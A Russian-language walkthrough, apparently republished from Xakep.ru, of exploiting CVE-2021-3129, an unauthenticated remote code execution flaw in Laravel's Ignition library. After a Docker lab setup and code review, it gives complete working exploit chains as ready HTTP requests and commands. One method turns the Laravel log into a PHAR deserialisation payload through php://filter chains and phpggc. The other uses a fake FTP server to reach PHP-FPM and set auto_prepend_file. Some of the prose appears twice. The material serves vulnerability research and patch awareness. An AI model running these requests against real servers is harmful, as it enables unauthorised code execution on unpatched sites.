В библиотеке Ignition, поставляемой с Laravel, обнаружилась уязвимость, которая позволяет неавторизованным пользователям выполнять произвольный код. В этой статье мы посмотрим, где разработчики Ignition допустили ошибку, и разберем два метода ее эксплуатации.
Библиотека Ignition нужна для кастомизации сообщений об ошибках, что полезно во время разработки и отладки. Ignition доступна и используется в Laravel «из коробки», а также встречается в других проектах.
Уязвимость возможна из‑за некорректной обработки параметров POST-запроса. Благодаря этому злоумышленник может отправить произвольные данные в качестве аргументов функций
Баг обнаружил Чарльз Фол (Charles Fol) из Ambionics Security. Уязвимости присвоен идентификатор CVE-2021-3129 и критический статус, так как для успешной эксплуатации не нужна авторизация. Баг присутствует в Ignition 2.5.2 и ниже.
Установим необходимые пакеты. В качестве веб‑сервера я буду использовать nginx.
Затем нужно проинсталлировать Composer.
Через него создадим проект на основе фреймворка Laravel. Для удобства поместим файлы в директорию /var/www.
Теперь отредактируем конфиги nginx. Включаем обработку скриптов PHP и настраиваем необходимый для Laravel редирект.
Меняем настройку демона PHP-FPM, чтобы он работал по TCP и висел на 9000-м порте.
Для изучения деталей работы Ignition нам также потребуется простенький контроллер. Добавим роут test.
Теперь нужно создать view (представление) этого роута. Для описания представлений в Laravel используется шаблонизатор Blade.
где $name — это переменная, которую нужно передать во view.
С этим разобрались, осталось скачать сорцы фреймворка. Их можно взять прямо из Docker.
Теперь все готово и можно приступать к разбору уязвимости.
Отправка некорректного типа запроса DELETE на index.php
Более близким к нашей уязвимости будет такой запрос:
Кастомизированное сообщение об ошибке от Ignition
Если видишь красивую картинку с сообщением об ошибке, как на скриншоте, — значит, все идет по плану. Помимо кастомизированных страниц с сообщением об ошибке, Ignition позволяет создавать так называемые solutions. Это небольшие фрагменты кода, они помогают решить проблемы, с которыми сталкиваются разработчики. Например, вернемся к нашему роуту test. В шаблоне мы используем переменную $name, но не передаем ее, поэтому Laravel вернет ошибку.
Сообщение об ошибке в Laravel, если не найдена переменная в шаблоне
Обрати внимание на кнопку Make variable optional. При нажатии к серверу уходит интересный запрос.
В параметре solution указывается класс, который нужно выполнить. Штука любопытная, но указать произвольный класс там не получится, так как Ignition требует, чтобы вызываемый класс реализовывал интерфейс RunnableSolution.
Глянем код MakeViewVariableOptionalSolution, чтобы узнать, что он делает. Сначала вызывается метод makeOptional.
Он читает файл, путь до которого был передан в параметре viewFile.
Затем переданная в variableName переменная изменяется с вида $name на $name ?? ''.
После этого идет проверка шаблона. Программа хочет убедиться, что структура кода изменилась не больше, чем ожидалось.
Если это не так, то makeOptional вернет false, в противном случае (вариант, когда все прошло гладко) содержимое шаблона перезаписывается.
Если отбросить все лишнее, то выполняется простое чтение и запись файла.
Полным путем до файла можно манипулировать, просто изменяя его в запросе. Но что это дает?
Первое, что приходит в голову, — это использовать технику эксплуатации через десериализацию в архиве PHAR. Для этого нужно иметь возможность загружать файл с произвольным содержимым и знать путь до этого файла в системе.
Это идеальный вариант, и если такая возможность присутствует в твоем случае, то RCE у тебя в кармане. Однако такой расклад не очень интересен, поэтому давай посмотрим, что можно сделать с дефолтной конфигурацией Laravel.
Здесь нам необходимо обратиться к врапперам PHP, а именно к php://filter. При помощи комбинации встроенных фильтров можно манипулировать содержимым файла до того, как оно будет использовано. Создадим файл для тестирования.
Создание тестового файла
Теперь я создал скрипт на PHP, где происходят операции чтения и записи файла, аналогичные используемым в Ignition.
Переменная
К каждой строке я добавил комментарий о том, что происходит после ее выполнения. На выходе содержимое файла будет Hello.
Меняем содержимое файла при помощи враппера php://filter. Фильтр base64-decode отрабатывает дважды
Таким образом можно изменять содержимое файла, манипулируя только путем до него. Здесь есть небольшая проблемка: фильтр
Перезапись содержимого файла при помощи враппера php://filter. Фильтр base64-decode отрабатывает один раз
Лог‑файл фреймворка Laravel и его содержимое
Посмотрим, что записывается в лог при передаче несуществующего пути в обработке solution.
Запись с нашим сообщением об ошибке в лог‑файле Laravel
Получается, что я могу управлять частью содержимого лога, манипулируя переменной viewFile. Исследователь Чарльз Фол нашел способ превратить лог‑файл в полноценный архив PHAR с нужным содержимым, используя только манипуляции с набором фильтров и цепочку запросов. Давай посмотрим, как это можно сделать.
Вновь обратимся к фильтру
Обработка символов, не входящих в Base64, фильтром base64-decode
Как видишь, они просто игнорируются и производится декодирование только корректной строки Base64. Но если попадается некорректная, то выводится предупреждение и возвращается пустая строка. Простой способ сделать некорректным набор данных — это добавить суффикс выравнивания (знак «равно») в середину.
Обработка некорректной строки Base64 фильтром base64-decode
Этим трюком можно было бы очищать содержимое любого файла, если бы не одно но — обработчики исключений во фреймворке. Когда фильтр возвращает warning, Laravel его перехватывает, записывает трейс в лог‑файл и прекращает выполнение скрипта.
Поэтому нужно найти такой фильтр, который не возвращает ошибку, не возвращает контента и при этом обращается к нужному файлу.
Для этого посмотрим, какие фильтры есть в текущей установке PHP.
Вывод всех зарегистрированных фильтров в PHP
Обрати внимание на consumed, его описание ты не найдешь в документации. Поэтому заглянем в исходники.
Этот недокументированный фильтр как раз делает именно то, что нам нужно. Давай используем его и проверим результат.
Очистка содержимого лог‑файла Laravel с использованием фильтра consumed
Теперь, когда у нас есть возможность очистить файл, посмотрим, как можно создать архив PHAR.
Если обобщить, то первая строка каждой такой записи имеет следующий вид:
Это приводит нас к следующей проблеме. Как отбросить все ненужные данные и оставить только ту часть, которой можно манипулировать? К счастью, в PHP имеется множество фильтров конвертации из различных кодировок. Все они имеют префикс convert.iconv.*.
Воспользуемся особенностями кодировки UTF-16, а именно UTF-16LE (без метки порядка байтов). В ней символы кодируются двухбайтовыми словами. Обычные символы ASCII имеют такой же вид, только к ним добавляется байт \x00.
Представление строки в кодировке UTF-16LE
Теперь создадим файл, часть которого будет содержать строку в кодировке UTF-16LE, она и будет нашим пейлоадом.
Создание файла, часть которого представлена в кодировке UTF-16LE
Далее воспользуемся фильтром convert.iconv.utf16le.utf-8, который сконвертирует содержимое подопытного файла в UTF-8.
Конвертация файла из UT8-16LE в UTF-8 через фильтры PHP
Как видишь, читаемыми остались только два пейлоада. Столько нам не нужно, а поскольку UTF-16 работает с двумя байтами, то можно сместить выравнивание второго пейлоада, добавив в конце дополнительный байт.
Избавляемся от второго экземпляра пейлоада, добавив дополнительный байт в конец
Таким образом смещаем обрабатываемые конвертором пары байтов после первого пейлоада и в результате получим нужную строку.
Избавляемся от второго экземпляра пейлоада. Результирующий файл
Если теперь использовать фильтр base64-decode, то он отбросит все некорректные символы и попытается декодировать только пейлоад, что нам и нужно.
Однако здесь притаилась еще одна проблемка. Так как пейлоад будет передаваться в функцию file_get_contents в качестве имени файла, не получится использовать null-байты, которые необходимы для представления текста в виде UTF-16.
Обойти это ограничение нам вновь помогают фильтры. Filters.covert.quoted-printable позволяет использовать null-байты, представив их в виде =00.
Декодируем пейлоад при помощи цепочки фильтров в PHP
На этом этапе почти все готово к эксплуатации, но нас может подстерегать еще одна проблема. Причина кроется все в тех же особенностях кодировки UTF-16 — размер символа в два байта. Если общий размер лога будет нечетным, то фильтр
Исключение при попытке конвертировать из кодировки UTF-16 содержимое некорректного размера
Как ты уже знаешь, Laravel обрабатывает все исключения и прекращает выполнение скрипта. Поэтому для выравнивания можно добавить еще одну запись в лог‑файл при помощи все того же запроса с указанием строки нужного размера в качестве имени файла в viewFile.
В качестве гаджета я буду использовать Monolog/RCE1, подходящая версия этого пакета как раз присутствует в дефолтной установке Laravel.
Используем гаджет под библиотеку Monolog для генерации полезной нагрузки
Флаг fast-destruct поможет сразу вывести результат команды. Конвертируем полученный архив в пейлоад.
Генерируем полезную нагрузку при помощи phpggc и конвертируем ее в необходимый формат
Приступаем к эксплуатации.
Сначала очистим лог‑файл.
Если необходимо, отправляем запрос для получения корректного, четного размера результирующего файла. В моем случае достаточно было двух байтов AA.
Теперь настала очередь полезной нагрузки. Но тут нас поджидает еще одна загвоздка. Трейс, который записывается в лог‑файл, может быть разным, и это может нам подпортить корректную эксплуатацию. Это происходит потому, что один из элементов стека отображает выполненную функцию, аргумент которой обрезан до N первых байтов.
Аргумент с пейлоадом обрезается до нескольких байтов при записи трейса об ошибке в лог‑файл
На моей системе это 15 (P=00D=009=00w=0). Когда фильтр будет обрабатывать такую конструкцию, он вернет исключение invalid byte sequence, а ты уже знаешь, как поступает с исключениями Laravel.
Обработка некорректной строки фильтром quoted-printable-decode вызовет исключение
Чтобы избежать этой ошибки, можно добавить необходимое количество любых символов, которые декодер Base64 отбросит и не будет воспринимать фильтр quoted-printable-decode. Я использовал знак минус и просто добавил 16 (лучше придерживаться четного количества!) таких символов в начало пейлоада.
Успешная доставка полезной нагрузки в лог‑файл Laravel
Следующий шаг — конвертация лог‑файла в валидный архив PHAR. Отправляем запрос с уже знакомым набором фильтров.
Если сервер возвращает пустой ответ с кодом 200, значит, все идет по плану.
Успешно сконвертировали лог‑файл Laravel в архив PHAR с полезной нагрузкой
Ну и наконец, осталось обратиться к полученному логу как к архиву PHAR, чтобы выполнить сгенерированную полезную нагрузку.
Успешная эксплуатация RCE в Laravel через конвертацию лог‑файла в архив PHAR
В ответе видим результат работы команды id.
Этот метод эксплуатации хорош, но имеет свои минусы, один из них — необходимость знать путь до лога или любого другого файла, доступного для записи в системе. Что делать, если такого не оказалось?
Для этого нам понадобится рассмотреть особенности работы протокола FTP. Он может работать в активном или пассивном режиме, от этого зависит способ установки соединения. В активном режиме клиент создает соединение с сервером и передает ему свой IP-адрес и произвольный номер порта, на который ждет подключения. В пассивном режиме клиент отравляет команду PASV и получает от сервера IP-адрес и номер порта, которые затем используются клиентом для подключения. Фишка в том, что эти данные могут быть любыми, в том числе IP-адрес может быть 127.0.0.1. Таким образом можно подключаться к сервисам, которые доступны только из внутренней инфраструктуры.
В моем тестовом окружении есть демон PHP-FPM, который слушает порт 9000.
Демон PHP-FPM слушает порт 9000
Он работает по протоколу FastCGI, и к нему можно обращаться напрямую при помощи специально сформированных пакетов. Для этого существует множество утилит, например cgi-fcgi из библиотеки libfcgi.
Отправка команд демону PHP-FPM с помощью протокола FastCGI
Здесь FILENAME — абсолютный путь до существующего скрипта. На самом деле его можно и не знать, главное, чтобы расширение было .php. Тут гораздо важнее переменная окружения PHP_VALUE, а именно опция auto_prepend_file. Эта директива переопределяет одноименную из файла конфигурации PHP. Все последующие вызовы на данном воркере будут использовать эту настройку. В ней указывается имя файла, который автоматически выполняется перед основным. Я воспользовался врапперами и напрямую указал код, который хочу выполнить. Предварительно закодировал его в кодировку Base64.
При эксплуатации мне понадобится более универсальный пейлоад. Для теста хорошо подойдет php://input. После успешной эксплуатации все, что будет передано в теле запроса, обработается интерпретатором PHP.
Теперь необходимо получить содержимое пакета, который отправляется к PHP-FPM, чтобы установить нужные настройки. Для этих целей мне приглянулся скрипт fpm.py за авторством phith0n.
Я немного модифицировал скрипт, чтобы он сохранял пакет в файл
Алгоритм действий будет следующим.
В качестве FTP-сервера я взял скрипт fake_ftp.py Ивана @dfyz Комарова и добавил туда обработку дополнительных команд и двух последовательных коннектов.
Скрипт был написан в рамках решения таска resonator на hxp CTF 2020.
Обрати внимание, в каком виде передаются хост и порт для управления коннектами клиента. Номер порта высчитывается по формуле
При первом коннекте клиента к порту 65123 нужно отдать файл с полезной нагрузкой. Сделаю это при помощи простого Python-скрипта, который использует библиотеку сокетов.
Вот и вся цепочка. Запускаем в нужной последовательности, сначала генерируем файл‑пакет с полезной нагрузкой.
Затем скрипт, который будет отдавать его клиенту.
Теперь сам FTP-сервер, который будет управлять соединениями и направлять их в нужное русло.
Подготовка к эксплуатации RCE уязвимости в Laravel через FTP
Далее отправляем запрос на подключение к этому FTP.
Сервер вернул ответ с кодом 200 — значит, вся цепочка отработала как надо.
Успешно доставили полезную нагрузку в PHP-FPM через FTP
А теперь можно выполнять код на PHP, просто отправляя его в теле запроса.
Выполнение произвольного кода в Laravel через PHP-FPM
Полный исходный код всех частей эксплоита ты можешь найти в моем репозитории на GitHub.
Конечно, с помощью такой атаки через FTP можно проэксплуатировать не только PHP-FPM, но и любые сервисы, доступ к которым есть с уязвимой машины. Например, на периметре частенько попадаются memcache и Redis. Так что тема эксплуатации через FTP очень интересная и актуальная. Я настоятельно рекомендую изучить презентацию по этой теме моего коллеги Bo0oM.
Разработчики оперативно исправили эту уязвимость в Ignition версии 2.5.2.
Во всех новых инсталляциях по умолчанию уже используется более новая версия библиотеки.
Автор @aLLy
источник хакер.ру
Библиотека Ignition нужна для кастомизации сообщений об ошибках, что полезно во время разработки и отладки. Ignition доступна и используется в Laravel «из коробки», а также встречается в других проектах.
Уязвимость возможна из‑за некорректной обработки параметров POST-запроса. Благодаря этому злоумышленник может отправить произвольные данные в качестве аргументов функций
file_get_contents и file_put_contents. Специально сформированная цепочка таких запросов приводит к возможности выполнить код на целевой системе.Баг обнаружил Чарльз Фол (Charles Fol) из Ambionics Security. Уязвимости присвоен идентификатор CVE-2021-3129 и критический статус, так как для успешной эксплуатации не нужна авторизация. Баг присутствует в Ignition 2.5.2 и ниже.
СТЕНД
В качестве стенда будем использовать контейнер Docker на основе Debian 10.
Код:
docker pull debian
docker run -ti --name="laravelrce" -p8080:80 debian /bin/bash
Код:
apt update
apt install -y nano curl unzip nginx php-fpm php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-mysql php-cli php-zip php-curl php-pear php-dev python xxd libfcgi
Код:
curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
Код:
cd /var/www && rm -rf html && composer create-project laravel/laravel . "v8.4.2" && sed -i -E 's|"facade/ignition": ".+?"|"facade/ignition": "2.5.1"|g' composer.json && composer update && mv public html
Код:
sed -i -E 's|index index|index index.php index|g' /etc/nginx/sites-enabled/default
sed -i -E 's|try_files \$uri.*|try_files \$uri \$uri/ /index.php?\$query_string;|g' /etc/nginx/sites-enabled/default
sed -i -E 's|#location ~ \\\.php\$ \{|location ~ \\.php\$ {\n\t\tinclude snippets/fastcgi-php.conf;\n\t\tfastcgi_pass 127.0.0.1:9000;\n\t}|g' /etc/nginx/sites-enabled/default
Код:
sed -i -E 's|listen = .*|listen = 127.0.0.1:9000|g' /etc/php/7.3/fpm/pool.d/www.conf
/var/www/routes/web.php
PHP:
19: Route::get('/test', function () {
20: return view('test');
21: });
/www/resources/views/test.blade.php
PHP:
<!DOCTYPE html>
<html>
<body>
Hello, {{ $name }}.
</body>
</html>
С этим разобрались, осталось скачать сорцы фреймворка. Их можно взять прямо из Docker.
Код:
docker cp laravelrce:/var/www ./
ДЕТАЛИ УЯЗВИМОСТИ
Для начала проверим, включена ли Ignition. Можно отправить запрос, для которого нет обработчика у конкретного роута. Например, неплохо работаетDELETE на index.php.
Отправка некорректного типа запроса DELETE на index.php
Более близким к нашей уязвимости будет такой запрос:
Код:
http://laravelrce.vh:8080/_ignition/execute-solution
Кастомизированное сообщение об ошибке от Ignition
Если видишь красивую картинку с сообщением об ошибке, как на скриншоте, — значит, все идет по плану. Помимо кастомизированных страниц с сообщением об ошибке, Ignition позволяет создавать так называемые solutions. Это небольшие фрагменты кода, они помогают решить проблемы, с которыми сталкиваются разработчики. Например, вернемся к нашему роуту test. В шаблоне мы используем переменную $name, но не передаем ее, поэтому Laravel вернет ошибку.
Сообщение об ошибке в Laravel, если не найдена переменная в шаблоне
Обрати внимание на кнопку Make variable optional. При нажатии к серверу уходит интересный запрос.
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"/var/www/resources/views/test.blade.php"}}
/vendor/facade/ignition/src/SolutionProviders/SolutionProviderRepository.php
PHP:
83: public function getSolutionForClass(string $solutionClass): ?Solution
84: {
85: if (! class_exists($solutionClass)) {
86: return null;
87: }
88:
89: if (! in_array(Solution::class, class_implements($solutionClass))) {
90: return null;
91: }
92:
93: return app($solutionClass);
94: }
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
PHP:
8: class MakeViewVariableOptionalSolution implements RunnableSolution
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
PHP:
65: public function run(array $parameters = [])
66: {
67: $output = $this->makeOptional($parameters);
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
PHP:
73: public function makeOptional(array $parameters = [])
74: {
75: $originalContents = file_get_contents($parameters['viewFile']);
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
PHP:
76: $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
PHP:
78: $originalTokens = token_get_all(Blade::compileString($originalContents));
79: $newTokens = token_get_all(Blade::compileString($newContents));
80:
81: $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
82:
83: if ($expectedTokens !== $newTokens) {
84: return false;
85: }
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
PHP:
73: public function makeOptional(array $parameters = [])
74: {
...
87: return $newContents;
88: }
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
PHP:
65: public function run(array $parameters = [])
66: {
...
68: if ($output !== false) {
69: file_put_contents($parameters['viewFile'], $output);
70: }
PHP:
75: $originalContents = file_get_contents($parameters['viewFile']);
69: file_put_contents($parameters['viewFile'], $output);
Первое, что приходит в голову, — это использовать технику эксплуатации через десериализацию в архиве PHAR. Для этого нужно иметь возможность загружать файл с произвольным содержимым и знать путь до этого файла в системе.
Это идеальный вариант, и если такая возможность присутствует в твоем случае, то RCE у тебя в кармане. Однако такой расклад не очень интересен, поэтому давай посмотрим, что можно сделать с дефолтной конфигурацией Laravel.
Здесь нам необходимо обратиться к врапперам PHP, а именно к php://filter. При помощи комбинации встроенных фильтров можно манипулировать содержимым файла до того, как оно будет использовано. Создадим файл для тестирования.
PHP:
echo Hello | base64 | base64 > /tmp/test.file
cat /tmp/test.file
U0dWc2JHOEsK
Создание тестового файла
Теперь я создал скрипт на PHP, где происходят операции чтения и записи файла, аналогичные используемым в Ignition.
/tmp/test.php
PHP:
<?php
$file = 'php://filter/convert.base64-decode/resource=/tmp/test.file';
// Читаем локальный файл, перед этим к его содержимому будет применен фильтр base64-decode
$contents = file_get_contents($file);
// Выводим содержимое
var_dump($contents);
// Записываем содержимое в этот же локальный файл, предварительно обработав его той же функцией base64-decode
file_put_contents($file, $contents);
$file — это аналог viewFile, здесь содержится строка пути. Этим параметром мы можем манипулировать.К каждой строке я добавил комментарий о том, что происходит после ее выполнения. На выходе содержимое файла будет Hello.
Меняем содержимое файла при помощи враппера php://filter. Фильтр base64-decode отрабатывает дважды
Таким образом можно изменять содержимое файла, манипулируя только путем до него. Здесь есть небольшая проблемка: фильтр
base64-decode отрабатывает дважды. Но ее легко решить: достаточно изменить конструкции вызова враппера.
Код:
echo Hello | base64 > /tmp/test.file
cat /tmp/test.file
SGVsbG8K
/tmp/test-onetime.php
PHP:
<?php
$file = 'php://filter/read=convert.base64-decode/resource=/tmp/test.file';
// Читаем локальный файл, перед этим к его содержимому будет применен фильтр base64-decode
$contents = file_get_contents($file);
// Выводим содержимое
var_dump($contents);
// Записываем содержимое в этот же локальный файл, теперь содержимое не будет второй раз проходить через base64-decode
file_put_contents($file, $contents);
Перезапись содержимого файла при помощи враппера php://filter. Фильтр base64-decode отрабатывает один раз
ОЧИЩАЕМ ЛОГ-ФАЙЛ
Теперь вернемся к идее выполнения кода через десериализацию архива PHAR. Как я уже говорил, идеальный случай — это когда есть возможность загружать произвольные файлы и ты знаешь путь до них. В нашей установке такой роскоши нет, но есть один файл, имя и путь которого довольно предсказуемы. Это собственный лог‑файл фреймворка Laravel. По дефолту он находится в директории storage/logs. В него записываются сообщения об ошибках, вроде тех, что красиво показывает в браузере Ignition.
Лог‑файл фреймворка Laravel и его содержимое
Посмотрим, что записывается в лог при передаче несуществующего пути в обработке solution.
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"THIS_FILE_DOESNT_EXISTS"}}
Запись с нашим сообщением об ошибке в лог‑файле Laravel
Получается, что я могу управлять частью содержимого лога, манипулируя переменной viewFile. Исследователь Чарльз Фол нашел способ превратить лог‑файл в полноценный архив PHAR с нужным содержимым, используя только манипуляции с набором фильтров и цепочку запросов. Давай посмотрим, как это можно сделать.
Вновь обратимся к фильтру
base64-decode. Посмотрим на особенности его работы с символами, которые не входят в алфавит кодирования Base64.
Код:
echo Hello | base64 -w0 | cat <(echo -n ':;.-|') - <(echo '|-.;:') > /tmp/test.file
Обработка символов, не входящих в Base64, фильтром base64-decode
Как видишь, они просто игнорируются и производится декодирование только корректной строки Base64. Но если попадается некорректная, то выводится предупреждение и возвращается пустая строка. Простой способ сделать некорректным набор данных — это добавить суффикс выравнивания (знак «равно») в середину.
Обработка некорректной строки Base64 фильтром base64-decode
Этим трюком можно было бы очищать содержимое любого файла, если бы не одно но — обработчики исключений во фреймворке. Когда фильтр возвращает warning, Laravel его перехватывает, записывает трейс в лог‑файл и прекращает выполнение скрипта.
Поэтому нужно найти такой фильтр, который не возвращает ошибку, не возвращает контента и при этом обращается к нужному файлу.
Для этого посмотрим, какие фильтры есть в текущей установке PHP.
Код:
php -r "print_r(stream_get_filters());"
Вывод всех зарегистрированных фильтров в PHP
Обрати внимание на consumed, его описание ты не найдешь в документации. Поэтому заглянем в исходники.
/ext/standard/filters.c
C-подобный:
1626: /* {{{ consumed filter implementation */
1627: typedef struct _php_consumed_filter_data {
1628: size_t consumed;
1629: zend_off_t offset;
1630: uint8_t persistent;
1631: } php_consumed_filter_data;
...
1633: static php_stream_filter_status_t consumed_filter_filter(
...
1649: while ((bucket = buckets_in->head) != NULL) {
1650: php_stream_bucket_unlink(bucket);
1651: consumed += bucket->buflen;
1652: php_stream_bucket_append(buckets_out, bucket);
1653: }
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"
}
}
Очистка содержимого лог‑файла Laravel с использованием фильтра consumed
Теперь, когда у нас есть возможность очистить файл, посмотрим, как можно создать архив PHAR.
УКРОЩАЕМ ЛОГ-ФАЙЛ
Рассмотрим структуру лог‑файла. Отправим запрос, который читает несуществующий файл.
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"THIS_IS_SOME_STRING"
}
}
storage/logs/laravel.log
Код:
[2021-04-25 14:25:19] local.ERROR: file_get_contents(THIS_IS_SOME_STRING): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(THIS_IS_SOME_STRING): failed to open stream: No such file or directory at /var/www/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
Код:
[date][error_data]<filename>[error_data]<filename>[error_data]
Воспользуемся особенностями кодировки UTF-16, а именно UTF-16LE (без метки порядка байтов). В ней символы кодируются двухбайтовыми словами. Обычные символы ASCII имеют такой же вид, только к ним добавляется байт \x00.
Код:
echo -n Hello | iconv -f ascii -t utf16le | xxd
> 00000000: 4800 6500 6c00 6c00 6f00 H.e.l.l.o.
Представление строки в кодировке UTF-16LE
Теперь создадим файл, часть которого будет содержать строку в кодировке UTF-16LE, она и будет нашим пейлоадом.
Код:
function teststring { echo -n Hello | iconv -f ascii -t utf16le; }
teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file
Создание файла, часть которого представлена в кодировке UTF-16LE
Далее воспользуемся фильтром convert.iconv.utf16le.utf-8, который сконвертирует содержимое подопытного файла в UTF-8.
test-utf16utf8.php
PHP:
<?php
$file = 'php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.file';
$contents = file_get_contents($file);
var_dump($contents);
file_put_contents($file, $contents);
Конвертация файла из UT8-16LE в UTF-8 через фильтры PHP
Как видишь, читаемыми остались только два пейлоада. Столько нам не нужно, а поскольку UTF-16 работает с двумя байтами, то можно сместить выравнивание второго пейлоада, добавив в конце дополнительный байт.
Код:
echo -n Hello | iconv -f ascii -t utf16le | cat - <(echo -n F) | xxd
> 00000000: 4800 6500 6c00 6c00 6f00 46 H.e.l.l.o.F
function teststring { echo -n Hello | iconv -f ascii -t utf16le | cat - <(echo -n F); }
teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file
Избавляемся от второго экземпляра пейлоада, добавив дополнительный байт в конец
Таким образом смещаем обрабатываемые конвертором пары байтов после первого пейлоада и в результате получим нужную строку.
Избавляемся от второго экземпляра пейлоада. Результирующий файл
Если теперь использовать фильтр base64-decode, то он отбросит все некорректные символы и попытается декодировать только пейлоад, что нам и нужно.
Однако здесь притаилась еще одна проблемка. Так как пейлоад будет передаваться в функцию file_get_contents в качестве имени файла, не получится использовать null-байты, которые необходимы для представления текста в виде UTF-16.
Обойти это ограничение нам вновь помогают фильтры. Filters.covert.quoted-printable позволяет использовать null-байты, представив их в виде =00.
Код:
function teststring { echo -n Hello | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' | cat - <(echo -n F); }
teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file
php -r 'var_dump(file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.file"));'
Декодируем пейлоад при помощи цепочки фильтров в PHP
На этом этапе почти все готово к эксплуатации, но нас может подстерегать еще одна проблема. Причина кроется все в тех же особенностях кодировки UTF-16 — размер символа в два байта. Если общий размер лога будет нечетным, то фильтр
convert.iconv.utf-16le.utf-8 вернет предупреждение.
Исключение при попытке конвертировать из кодировки UTF-16 содержимое некорректного размера
Как ты уже знаешь, Laravel обрабатывает все исключения и прекращает выполнение скрипта. Поэтому для выравнивания можно добавить еще одну запись в лог‑файл при помощи все того же запроса с указанием строки нужного размера в качестве имени файла в viewFile.
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"AA"
}
}
ЭКСПЛУАТАЦИЯ ЧЕРЕЗ АРХИВ PHAR
Настало время собрать всю цепочку в полноценный эксплоит. Для формирования пейлоада предлагаю использовать phpggc. Это генератор цепочек гаджетов для эксплуатации десериализации в PHP. Утилита в числе прочего может записывать результат в виде архива PHAR.В качестве гаджета я буду использовать Monolog/RCE1, подходящая версия этого пакета как раз присутствует в дефолтной установке Laravel.
Используем гаджет под библиотеку Monolog для генерации полезной нагрузки
Код:
php -d'phar.readonly=0' phpggc --phar phar -o exploit.phar --fast-destruct monolog/rce1 system id
Код:
cat exploit.phar | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' | cat - <(echo -n F);
Генерируем полезную нагрузку при помощи phpggc и конвертируем ее в необходимый формат
Приступаем к эксплуатации.
Сначала очистим лог‑файл.
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"
}
}
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"AA"
}
}
Аргумент с пейлоадом обрезается до нескольких байтов при записи трейса об ошибке в лог‑файл
На моей системе это 15 (P=00D=009=00w=0). Когда фильтр будет обрабатывать такую конструкцию, он вернет исключение invalid byte sequence, а ты уже знаешь, как поступает с исключениями Laravel.
Обработка некорректной строки фильтром quoted-printable-decode вызовет исключение
Чтобы избежать этой ошибки, можно добавить необходимое количество любых символов, которые декодер Base64 отбросит и не будет воспринимать фильтр quoted-printable-decode. Я использовал знак минус и просто добавил 16 (лучше придерживаться четного количества!) таких символов в начало пейлоада.
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: text/html
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"----------------P=00D=009=00w=00a=00H=00A=00...T=00U=00I=00F"
}
}
Успешная доставка полезной нагрузки в лог‑файл Laravel
Следующий шаг — конвертация лог‑файла в валидный архив PHAR. Отправляем запрос с уже знакомым набором фильтров.
Код:
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
Успешно сконвертировали лог‑файл Laravel в архив PHAR с полезной нагрузкой
Ну и наконец, осталось обратиться к полученному логу как к архиву PHAR, чтобы выполнить сгенерированную полезную нагрузку.
Успешная эксплуатация RCE в Laravel через конвертацию лог‑файла в архив PHAR
В ответе видим результат работы команды id.
